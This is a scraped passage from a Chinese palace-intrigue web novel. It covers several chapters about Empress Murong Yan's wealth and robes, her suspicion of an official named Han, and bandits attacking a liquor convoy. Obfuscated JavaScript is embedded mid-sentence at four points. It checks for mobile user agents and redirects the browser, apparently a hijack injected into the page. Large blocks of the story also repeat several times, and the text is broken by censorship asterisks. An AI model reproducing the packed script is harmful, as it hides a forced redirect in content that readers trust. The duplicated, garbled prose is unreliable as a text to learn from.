凤冠周边,凤凰造型栩栩如生,双翅展开,口中衔着串串珍珠,粒粒饱满圆润,大小均匀,随着慕容嫣的细微动作,相互碰撞,发出清脆悦耳的声响,令人沉醉。 仪仗队来到顾镇寝宫外 慕容无舌高喊道:“陛下驾到!!” 宫门应声开启刹那间里面的太监宫女齐刷刷跪地动作整齐划一头都不敢抬。 四周寂静得吓人唯余衣料摩挲的声音细微传来。 顾镇站在众人前列她一袭月白色宫装如月下清莲般淡雅。眼眸低垂看着脚下砖石朱唇轻抿在众人跪地之时也缓缓屈膝行了一个标准的跪拜大礼。 “臣妾参见陛下。” 慕容嫣莲步轻移雍容华贵地走进寝宫。 她目光扫过跪地众人最终定格在顾镇身上随即伸出那欺霜赛雪的玉手柔声说道:“你已有了身子以后不必行这般大礼快快平身。” 顾镇闻声缓缓抬头目光与慕容嫣交汇。 她眼中平静如水波澜不惊。 甚至慕容嫣这一身华贵到极致的装扮在她眼中也似平常物件并未掀起丝毫涟漪。 她朱唇轻启 言罢起身两人一前一后走进寝殿里。 顾镇看得真切慕容嫣在进门的时候居然双手轻轻提起裙摆露出那精致的小巧绣花鞋拖尾在后面不慌不忙地跟着最终被慕容嫣亲手一荡荡在暖榻边缘。 虽然看见但顾镇并没有司马椿蕾那么多想法。 这玩意本就不是什么人都能穿的况且她又是个不争不抢的性子若不是意外怀孕甚至司马椿蕾都不会把她视作威胁。 慕容嫣靠在暖榻上凤袍上的凤凰随之抖动说道:“你这宫里可有什么需要添置的?” “回陛下没有。” “杂役够用吗?” “够用。” “取暖情况如何?” “挺好。” “你有什么需要朕或者需要夫君去做的吗?” “没有。” 嘶. 慕容嫣都不知道是该开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264500|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是该生气。 开心的是这妮子什么都不要甚至她都不想让任何人操心。 生气的也是这妮子居然什么都不要!! 什么意思?用朕的雍容华贵来衬托你的宁静淡泊? “咳咳。”慕容嫣的脸瞬间就冷了下来咚的一声把暖手炉放在案几上“朕告诉你你.” 慕容嫣话还没说完呢顾镇就跪了下去。 “你这是干什么?起来。” “陛下的话就是圣旨臣妾接旨。” “起来回话。” “是。” 慕容嫣八辈子也没见过这样的姑娘。 就算是小宫女也得有点自己的性格啊,她倒好,像个木头。 “朕是告诉你,不管你怀的是男孩还是女孩,对夫君来说都是十分重要的,所以你必须得保护好。你母亲已经在回来的路上了,不日即可进宫与你团聚。” 说到这顾镇眼中才算有了一丝反应。 自从上次林臻说找到她生母以后,她就一直期盼着这一天。 但因为路途遥远,边关又不太平,顾云松谋反一案虽然已经有了定论,但很多杂七杂八的事情堆在一起,就耽误了进京的时间。 前阵子林臻陪伴顾镇的时候听着妮子提了一嘴,这才又派人去接,现在已经快到京城了。 顾镇立刻福身:“多谢陛下!” “呵呵呵呵,开心就好,夫君说了,女子怀孕的时候最重要的就是心情。以后快快乐乐地养胎吧,等你生完孩子,朕准你带着你母亲出宫。” “谢陛下。” 顾镇有些感动。 父亲已经**。 是**,是谋逆。虽然不舍,但确实是死不足惜。 所以她的母亲,就成了她唯一的心灵寄托,心里千百次地想着与母亲团聚的情形。 如今,就快要实现了。 慕容嫣笑道:“等下夫君会派人送钱进宫,这是朕的私库,朕分给你一些,让你母亲置办点家当,买几匹好的布料,做几身新衣服,这眼看着就要过年了,我们也新鲜新鲜。” 言罢慕容嫣起身离开。 她要去看钱。 第401章 这该不会是韩国的卧底吧 慕容嫣遣人搬来她那把独有的凤椅在众多太监、宫女的簇拥下穿过层层回廊来到皇宫戏台。 这座戏台自从先帝老迈后已经荒废很多年了若不是慕容嫣经济情况出现好转她也不会派人过来打扫。 但是她来此不为看戏全当这个地方就是用来欣赏金钱的。 每次林臻的分红运进宫里的时候她都会坐在这里看一会儿欣赏欣赏那银锭在太阳下闪闪发光的感觉然后心情十分愉悦。 慕容嫣雍容华贵地走来双手轻轻提起裙摆动作优雅端庄最后落座凤椅。 头顶的凤冠在太阳的照射下闪闪发光。 它整体呈端庄的弧形以纯金打造的框架坚韧而闪耀。 其上九只金羽凤凰栩栩如生。 每一片凤凰羽翼皆以剔透红宝石镶嵌这些红宝石颜色纯正鲜艳在冠顶交相辉映将尊贵与奢华演绎到极致。 她身着的凤袍 袍身的金色锦缎每一寸皆由技艺精湛的织女耗费数月以极细的金线经纬交织而成其质地细密紧实触手生温散发着无尽的威严。 金丝绣线在袍身上穿梭游走勾勒出一只只形态各异、振翅欲飞的凤凰。 有的凤凰引颈长鸣凤喙微张喙尖以亮**镶嵌。有的凤凰双翅大展凤尾飘逸其上的羽毛用彩色丝线与金线混绣从热烈的橙红到明艳的金黄再到淡雅的浅紫层层晕染过渡自然流畅。 每一只凤凰周围还环绕着缠枝牡丹、如意祥云等吉祥图案皆是以金线和彩线细细勾勒针法细腻入微使得这些图案仿若鲜活起来与凤凰相互映衬。 二十米的拖尾从凤椅后方狭小缝隙蜿蜒而出同样以这华贵耀目的赤金为底色宛如一条流淌着金色火焰的天河。 拖尾之上绣满了上古神话图采用的针法繁复多样有细腻如毫发的平针绣出的线条流畅顺滑勾勒出人物与景致的轮廓;有层层堆叠、立体感十足的打籽绣让画面中的重点部分栩栩如生。 一针一线皆倾注匠心顺着殿内的砖地徐徐铺展将慕容嫣衬托得仿若掌控三界的主宰令世人敬仰令鬼神颤栗。 “嘶呼.”就连慕容无舌这没老婆孩子的阴阳人看到慕容嫣这身衣服都暗暗咋舌。 慕容嫣披着大氅端庄地坐在凤椅上捧着暖手炉说道:“开箱!” 慕容无舌 枯槁老手一挥,十几名太监立刻将戏台里的箱子打开,露出里面的银锭。 银锭都是成摞码放的,层层叠叠,闪着耀眼的光芒,慕容嫣嘴角牵起一丝绝美的微笑,问道:“无舌,这个月是多少啊?” “回陛下,世子送来的分红共计六万八千两。” “听着也不多啊。”慕容嫣皱了皱眉。 无舌心说,这还不够多啊? 那平民老百姓一年到头连十两银子都赚不到呢。 这还是富裕地方,像临邑县以南和山海关以东的穷苦地方,能吃上饭就不错了。 但他也就心里想想,万万不敢说出来。 慕容嫣看了看他:“林臻是不是没有把二锅头的利润送来?” “是,在分成清单上确实没有二锅头,但想来世子是有所安排,所以老奴并没有追问。” “哼,他当朕不知道?那二锅头在武清县的产量极大,蒸馏器造得都快和朕的金銮殿一边高了!他就是看朕的凤袍奢侈,所以才不给分红的。” 无舌低着头不说话。 主要是这话他也是没办法接。 人家小两口背后嚼嚼舌根无所谓,回头搂在一起还会好。 但如果谁这个时候插嘴,跟着她一起说对方的不是,那纯纯大傻子,真的! 林臻以前就见过这样的人。 一个女孩跟男朋友吵架了,哭唧唧地去找闺蜜,然后闺蜜不管三七二十一,就和她一起辱骂那个男的。 结果第二天人家俩和好了,女孩把昨天闺蜜的事情和男朋友说,这个男朋友从此就恨上了这个闺蜜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272775|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 以至于还发生了一系列不可思议的事情。 所以说,情侣吵架,别人少说话,最好别说话,免得引火烧身。 无舌岁数都快八十了,伺候过三位皇帝,什么猫腻没见过?此刻就老神在在地站在那里,像老僧入定。 慕容嫣翻个很好看的白眼:“你还真是无舌。罢了,去把奏折都抱过来,今天日头不错,朕要在这办公。” “奴才遵旨。” 慕容无舌快步离开,与此同时慕容嫣又对麝月说道:“找人把银子都好好洗一遍,刷刷,放在太阳下面晾干,然后收起来。” “是。” 慕容嫣喜欢银锭被洗刷过后所散发出来的气息。 那是有钱的感觉。 众所周知,人生有得必有失。 当你突然得到一大笔财富的时候你就会发现,你同时失去了所有烦恼。慕容嫣现在就是这样的思想,连带着看向奏折的目光都变得柔和起来。 慕容嫣脱掉绣着凤凰的鞋子,依偎在凤椅上,立刻有宫女将另外的暖炉放在她脚边,同时凤椅下面也有暖炉在烘烤,寒冬腊月的天气,就像坐在火炕上似的。 她提起朱笔,在一封奏折上落下几个字,然后放到一边,再拿起另一个翻看。 突然,她咦了一声。 “嗯?叶县县令因病去世?叶县”慕容嫣喃喃着这个地名,突然眼睛瞪大,“那不是与韩国相邻的县城么?夫君刚刚准备在这里建中转站,这个县令就**。嘶” 慕容嫣琢磨着继续往下看。 这封奏折是吏部尚书钱书恒递上来的,意思是问问陛下选什么人去接任比较好,他还重点推荐了几个颍川郡的官员,其中有个人,姓韩。 “韩笑东?这该不会是韩国的卧底吧?”慕容嫣敲着额头,过了半晌喊道:“来人!” 慕容无舌立刻应答:“在。” “去把林臻.嗐,算了,下去吧。” “是。” 第402章 但愿老庄能听明白我的意思吧 慕容嫣本想喊林臻进宫商量,可随即想想他才刚回去不久,更何况自己是皇帝,要有自己的独立思维,不能什么事情都去找林臻。 于是她放下手,开始思考这个事情。 钱书恒是她一手提拔起来的,不像是韩国奸细,但他居然推荐了一个姓韩的官员来接替与韩国接壤的县城县令,这如何不让人怀疑? 慕容嫣放下奏折,对无舌说道:“传吏部尚书钱书恒进宫见朕。” “遵旨!” 武清通往叶县的官道上,庄三亭回头看了看骡车上满载的二锅头酒坛,偷偷咽了口唾沫。 这可是名满大乾的二锅头啊,非达官显贵不得尝,据说梅菜巷的月妩酒楼费了好大的劲儿弄来一坛,就放在店的正中央。 每天来吃饭的食客需要消费满五两银子才有抽奖资格,而抽到头奖的人可以品尝一盅。 没错,是一盅! 不是一壶。 就这样,那些底层的普通百姓包括来往的普通商旅都对此趋之若鹜,挤破头就想尝一口这佳酿。因为二锅头从来都不在市面上流通,有钱都没地方喝,只有那些达官显贵在过节或者过生日的时候,由陛下赏赐。 唉,这么好的酒如果喝上一口,嘎巴**也值啊。 但不是有那么句嘛?往往越是美丽的东西,背后就越会有只魔鬼在等你。 这二锅头好喝是好喝,可就是喝完第二天脑袋疼得像要**似的。 一扭头,脑浆子都跟着晃荡。 “统领!!”一个小将穿着黑色铠甲从后面追上来。 “怎么了?” 那小将满脸笑嘻嘻地说:“统领,我看这么多酒,不如我们打开喝一坛吧?” 他一说,身边的人都跟着起哄。 “是啊统领,就喝一坛。” “这么多坛呢,他们根本数不出来!” “让咱们也尝尝佳酿呗!” 都是当兵的汉子,生活憋屈枯燥,而且这年代除了林臻以外谁也没有烟抽,只能在喝酒与**上面抓挠。 如今看见好酒哪有不心动的道理? 甚至就连庄三亭都心动了,但是他依旧强忍着冲动拒绝。 “放屁!你们几个酒鬼看到好酒就走不动道!世子说了,这酒是货物,我们的任务是运送到韩国,哪能说动就动?” 庄三亭还是比较有威慑力的,一嗓子下去周围人都不吭声了,埋头继续往前走。 只不过他们的目光还时不时地瞟向骡车上的酒坛子,心 里像猫抓似的。 大冬天的送货本就让人心情烦躁,庄三亭皱着眉头从马鞍上取来酒壶,忽然发现这酒壶与自己出发时的不太一样,上面居然有八个字。 “可饮三坛,不可误事。” 这什么意思?谁写上的? 庄三亭狐疑了一阵,忽然想起自己出发前芦德豪说的话:“老庄,这酒可精贵着呢,韩国山高路远小心点。而且世子说了,我们都是自家兄弟,不能亏待,但也绝不能误事,明白吗?这个是小样,你收着。” “操!”庄三亭一拍大腿。 原来不能亏待是这个意思啊! 亏得自己当时还连连点头说“明白”“明白”呢,明白个鸟啊。 合着这十辆骡车的酒,有三坛是给自己的! 唉,丢人丢大了。 你说这芦德豪也真是的,世子他们说话神神秘秘也就罢了,你怎么也学这一套? 庄三亭伸出手攥成拳头:“停止前进!!” “统领,怎么了?” “吃饭!” “啊?吃饭?”小将疑惑地看了看天色,“这还不到时辰啊。” “让你吃饭就吃饭,哪那么多话!让脚夫们也停下来吃饭。” “是!” 小将立刻去传令,很快车队在官道旁边停了下来,庄三亭下马,兴奋地朝骡车走过去,随手拿起一坛,高高举起说道。 “兄弟们!都拿碗来!” “啊?统领,你不是说不能喝吗?” “是啊,这怎么又能喝了?” 几个黑甲百骑司士兵都很兴奋,毕竟这么好的酒可不是天天都能喝到的。 庄三亭虎着脸,一副很威严的样子:“少废话,喝不喝?” “喝!必须喝!” “哈哈哈哈。” 庄三亭亲自给他们倒酒。 不多,每人也就一小碗。 林臻说过,不能误事。他都记着呢。 可就是这么一小碗也够这群酒鬼兴奋的了。 谁知道众人刚喝了一口,还没等夸奖呢,没有树叶的山坡上就冲下来许许多多穿着大皮袄的山贼。 这群人脑袋上裹着头巾,好像要**! “弟兄们!给我抢!!”为首那人长着络腮胡,一双熊眼,很是魁梧,手里扛着一把硕大的陌刀。 庄三亭端着酒碗,整个人都愣住了。 妈的,混了小半辈子,还没见过敢**军队的山贼呢! 当即把碗狠狠摔在地上。 “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272776|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? “啪!” “他奶奶的,连我们也敢**,反击!!” 其余百骑司将士也都把碗摔在地上,抽出刀就迎了上去,两伙人瞬间战成一团,刀光剑影,杀喊声不断。 与此同时,不远处的山坡上,芦德豪负手而立。 他目光清冷地盯着下面打斗的场面,喃喃地说:“大哥,对不住啊,但愿老庄能听明白我的意思吧。” 话分两头。 京城。 日落的时候,吏部尚书钱书恒才姗姗来迟地跑进皇宫。 因为是慕容嫣的召见,所以城门令并没有阻拦。 议政殿里,慕容嫣坐在高高的凤椅上,面前凤案摆放着很多奏折,那华丽的拖尾也沿着凤台、台阶一路向下,蜿蜒至大殿东方的那颗金丝楠木柱子下面。 整个人好像一只凤凰栖息在此。 钱书恒不知道慕容嫣喊他来做什么,就站在大殿中央低着头。 过了良久,慕容嫣才露出一声冷笑:“呵,钱卿,朕给你这么多时间,你还是不打算主动交代吗?” “这”钱书恒扑通就跪了下去:“陛下,能让陛下如此动怒便是微臣之罪,但是微臣不知道要交代什么啊。” 慕容嫣立刻高声喊道:“钱书恒,你最好对你说的话负责任!” “微臣该死!!”钱书恒把头磕在地上,但还是不知道自己做错了什么。 慕容嫣拿起那封奏折,啪的一下仍在钱书恒脸上。 “这个韩笑东是谁!!?” 要知道两者之间的距离起码有十五米,扔的又是奏折。 嘶.慕容嫣哪来这么大的力气和准头? 第403章 世子忙的都是国家大事 钱书恒被奏折拍得脑瓜仁直疼,却也不敢啃声,更不敢站起来。 唯有慕容无舌看着这一幕,心生疑惑。 他是个名副其实的高手,一眼就能看出来这件事情非常诡异! 这么远的距离,如果是他本人做出来的,那倒也不足为奇,毕竟他的武功在那里摆着,没这两下子也当不了皇帝的贴身太监。 但扔奏折的可是慕容嫣啊! 这是个从小就没有练过武的女子,这么远的距离别说奏折,想把石子扔到钱书恒脸上都得看运气! 嘶.难道真是巧合? 不,不可能。 慕容无舌活了七十多岁,最不相信的就是巧合。 这世间几乎所有的巧合,其实都是被人安排好的。 他暗暗记下这件事情,继续看场中情况。 场中,慕容嫣已经收敛了几分怒意。 她是想炸一下钱书恒,看看他会不会主动说实话,但效果显然不好,也可能是钱书恒根本就没有猫腻。 “钱卿,朕最后再给你一次机会,说!这韩笑东到底是怎么回事?” 钱书恒一头磕在地上:“陛下!这韩笑东与微臣绝对没有任何瓜葛,是地方举荐上来的,微臣对韩笑东的**背景也做了调查,此人是孤儿,今年二十六岁,自小被叶县师爷收养,饱读诗书,在叶县有口皆碑,在前年的南楚科举还中了举人,但因为穷困所以没有得到官职。现在不管是陈留还是颍川,都已经是我大乾的地盘。对于官员任免之事,微臣自然遵循我大乾的推荐法,所以就把这个人也列入了考察名单。如果陛下不喜欢,臣立刻将他抹去!” 慕容嫣见钱书恒说得头头是道,好像可以背过台词似的,问道:“你为何知道得如此清晰?” “陛下,臣是吏部尚书,专管官员的,所以对所有任免的官员都很熟悉!” 慕容嫣心里清楚,她不能无缘无故地去怀疑朝廷命官,更何况钱书恒是自己提拔上来的,万一寒了心,日后不好收场。 但偏偏在韩国边关出现一个姓韩的人,她还是有些犹豫。 想着要不要和林臻说说呢。 唉,也总不能什么事情都和林臻说吧? 自己身为皇帝难道连一个小小的县令任免都不能做主? 这怎么行。 慕容嫣盯着奏折上的名单,思虑再三,说道:“这个张劲松是怎么回事?” 钱书恒立刻回答:“回陛下,张劲松是五年前因为犯错,被南楚朝廷从陈留郡中丞贬到颍川郡 里任仓曹的,这几年也算兢兢业业,是颍川太守亲自推荐的。” “不行!”慕容嫣思来想去还是觉得南楚的人不靠谱,她一把将奏折放在凤案上,“你重新拟定名单,推荐几个大乾的官员,最后朕再挑选谁去叶县。现在是关键时期,我们与韩国的贸易才刚刚开始,叶县绝对不能出任何状况。” “微臣遵旨!但是陛下,这件事情要不要和世子.”钱书恒的手在两只手掌上画圈。 意思是要不要告诉林臻,让他出出主意。 慕容嫣烦躁地摆摆手:“世子忙的都是国家大事,一个小小的县令何至于去烦他?你自行拟定名单,速度要快,叶县必须得有我们的人坐镇才行。” “是,微臣遵旨!!” “嗯,下去吧。” “微臣告退。” 钱书恒擦了擦脸上的汗珠,急忙走了出去。 对于大乾这个庞大的机器来说,任免一个县令真是小的不能再小的事情,甚至当地的郡守就可以直接负责。 但因为颍川是刚刚归属大乾的,那里的百姓没有彻底臣服,所以需要教化,需要慎重,如果搞出民变来,那就可就丢大人了。 再者,慕容嫣之所以在这件事情上费心,也是因为与韩国的贸易才刚刚开始,可偏偏就在这个节骨眼上,叶县县令就**。 这傻子都知道有问题。 为了确保贸易的顺利进行,把韩国的生铁骗过来,所以慕容嫣必须要把亲信的臣子送过去,否则这段时间就白折腾了。 眼看着日头偏西,慕容嫣准备回往后殿休息。 她站起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283223|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,那近乎奢靡的凤冠在夕阳的照射下熠熠生辉。 凤冠纯金质地,入手沉凝,其上精心雕琢着展翅欲飞的凤凰,凤凰的眼眸镶嵌着血红的宝石,在日光的轻抚下,释放着无尽威严。 凤羽则由细碎的珍珠串连而成,每一片都闪烁着温润而夺目的光泽,随着慕容嫣最轻微的动作轻轻颤动,活脱脱就是浴火重生、即将扶摇直上九**的神鸟现世。 此刻,慕容嫣轻轻挪动了身子,双手优雅地提起裙摆,走下凤台,凤袍簌簌而落。 这凤袍,莫说是大乾,就是翻遍九州四海的史书典籍,也称得上是旷古绝今的稀世珍宝。 袍身以金线织就繁复的花纹,每一道纹理都无比奢华,领口与袖口,用珍稀的雪貂毛滚边,柔软而华贵。 最令人惊叹的,当属那长达二十米的拖尾,其上绣满了凤凰图案,五彩丝线在日光下折射出梦幻般的光芒。 一只只凤凰振翅欲飞,或引吭高歌,或亲昵梳羽。它们的羽毛以不同色泽的丝线绣成,红若丹霞,金似骄阳,蓝如深海,绿像翠林,在光影变幻中闪烁着灵动的光彩。 随着慕容嫣步入后殿的步伐,拖尾在地上徐徐拖行,如同一朵盛开的金色云霞,发出沙沙的细微声响。 慕容无舌快步跟上去。 他要确定自己的想法到底是不是真的。 如果是.那就是大乾之幸啊! “陛下!” “嗯?”慕容嫣停止脚步,回头看她。 对这位老太监,她还是十分尊重的。 “无舌,你有话要说?” “是,陛下。老奴想请问陛下,您最近觉得身体哪里有不对劲的地方吗?” 慕容嫣还真仔细地想了想,随即摇摇头:“没有啊,哦对了,朕最近睡眠特别好,而且白天的时候很有精神。” “嘶您有没有觉得你的力气似乎比以前更大了?” 不知道为什么,提到大这个字,慕容嫣本能就想看向自己胸脯。 诶?不对啊。 无舌刚才说什么? 力气? 第404章 末将这就带兵去屠了他们 “世子!!” 王府内。 侯春像一根箭似的冲了进书房,手里拿着带血的书信。 林臻正在书房里琢磨楚地官员改革、任免的事情,头也没抬。 侯春进来后单膝跪地:“世子,庄统领运送二锅头的时候出事了!” 林臻猛然抬起眼睛,就看到侯春手里的信。 